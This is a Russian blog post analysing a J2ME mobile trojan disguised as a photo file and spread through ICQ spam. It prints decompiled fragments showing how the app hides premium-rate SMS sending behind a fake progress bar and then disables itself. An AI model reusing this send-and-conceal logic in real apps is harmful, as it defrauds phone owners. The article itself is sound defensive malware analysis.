Pull to refresh

История исследования одного jar трояна

Reading time3 min
Views4.8K


Статья о том, как исследовать незнакомые *.jar файлы.
Мне очень часто в ICQ приходит спам. Как правило, предлагают зайти на один из фэйковых «вконтакте» с опечаткой в имени. Но тут прислали просьбу авторизовать с ссылкой на фотографию. Сообщение банально, ничего нового, что-то вроде: «Хочу с тобой познакомиться, посмотри на фотку по ссылке ….., тебе будет интересно со мной сфоткаться». Ссылка не вела на фэйковый вконтакте, но предлагала скачать файл foto.jar.
Проверяем антивирусом – все ОК.

Беглый обзор

Становится интересно. Раскрываем архив и начинаем исследовать.
Файл jar содержал такие файлы:



Имеем дело с Java приложением. Скорее всего, для мобильных устройств. Смотрим любым редактором текстовых файлов файл main.class и видим подтверждение – в тексте программы есть вызовы MIDlet.



Осталось разобраться, что делает эта программа. Опять, воспользуемся текстовым редактором. Просмотрим файлы классов. В файле a.class ищем подсказку, что делает это приложение:



«MessageConnection, javax.wireless.messaging.TextMessage, sms://» – намекают нам, что приложение отправляет SMS.
Обычно на этом можно останавливаться. Файл, пришедший с ICQ спамом, который называют фотографией, на самом деле оказывается программой для мобильных устройств, которая отсылает SMS.
Параллельно, принято решение посмотреть, что же делает это приложение. Загружаю эмулятор, среду выполнения. В результате получаем:



Загружается форма с полосой прогресса, нажимаем ОК, полоса растет, в определенный момент, когда доходит до определенного процента — отправляется SMS.
Когда доходим до 100% — приложение «портится»

Погружение в код


Попытки найти прямо в коде классов номер, на который отсылают сообщение, не увенчались успехом. Стало интересно.
Для более глубокого исследования, декомпилируем исходники. Декомпиляция дала половинчатые результаты. Один декомпилятор не смог вскрыть метод startApp(), выдав ошибку. Потому после непродолжительного поиска был найден онлайн декомпилятор, который смог вскрыть все файлы, но в качестве имени переменных подставлял только “a”. Но этого было достаточно, чтобы понять логику приложения.
Весь результат декомпиляции приводить не буду, только наиболее значимые фрагменты:
Фрагмент функции startApp() класса main.class:

  …….
      this.a = "";
      this.b = "http://ero.******.ws";
      if(this.a == null) {
         this.a = "";
	   ……..
   try {
         b var1;
         (var1 = this.a).a = var1.getClass().getResourceAsStream("/settings.xml");
         var1.a = var1.a.available();
         var1.a = new int[var1.a];

         int var2;
         for(var2 = 0; var2 < var1.a; ++var2) {
            var1.a[var2] = var1.a.read();
         }
    ………


Из этого фрагмента видно, что из файла settings.xml подгружается информация. И формируется строка с именем сайта.

  public void commandAction(Command var1, Displayable var2) {
      if(var1 == this.d) {
         ++this.a.b;
         ++this.a.d;
         this.a.a += this.a.c;
         if(this.a.d == 17) {
            this.a.d = 0;
            this.Sender();
         }

         if(this.a.b == 100) {
            this.destroyApp(false);
         }

         this.a.repaint();
      }

      if(var1 == this.a) {
         this.a.setCurrent(this.a);
      }

      if(var1 == this.c) {
         this.notifyDestroyed();
      }

      if(var1 == this.b) {
         try {
            this.platformRequest(this.b);
         } catch (ConnectionNotFoundException var3) {
            var3.printStackTrace();
         }

         this.notifyDestroyed();
      }

   }

Когда достигаем 17%, вызываем Sender(). Когда достигаем 100% — вызываем destroyApp(), чтобы пользователь не смог запустить приложение еще раз. Переходим к процедуре Sender().
public void Sender() {
      if(this.a < this.a.length) {
         a var1 = this.a;
         (new Thread(var1)).start();
      }
   }
 

Запускается экземпляр переменной класса a в новом потоке.
Фрагмент кода класса a.
public final void run() {
      try {
   ……..
         this.a = "sms://" + this.a.a[this.a.a];
   ……..
         this.a.send(this.a);
      } catch (SecurityException var1) {
         System.out.println("!!!!!!!!!!!");
      } catch (Exception var2) {
         this.a = false;
      }
	   ……..
   }
 

Итак, итоги подведем.

Данное приложение распространяется через ICQ, поражает мобильные телефоны, пытается отправить SMS на номер, который хранится в файле settings.xml, номер кстати: 7781.

Проверяем онлайн антивирусом опять.



UPD. Спасибо за подсказанные ссылки MainNika

Необфусцированные трояны с подобным механизмом работы:
habrahabr.ru/blogs/java/112165
habrahabr.ru/blogs/infosecurity/113017
habrahabr.ru/blogs/personal/50072

Вопрос по Java коду подобного трояна, с интересной дискуссией:
habrahabr.ru/blogs/personal/75899
Tags:
Hubs:
+46
Comments33

Articles

Change theme settings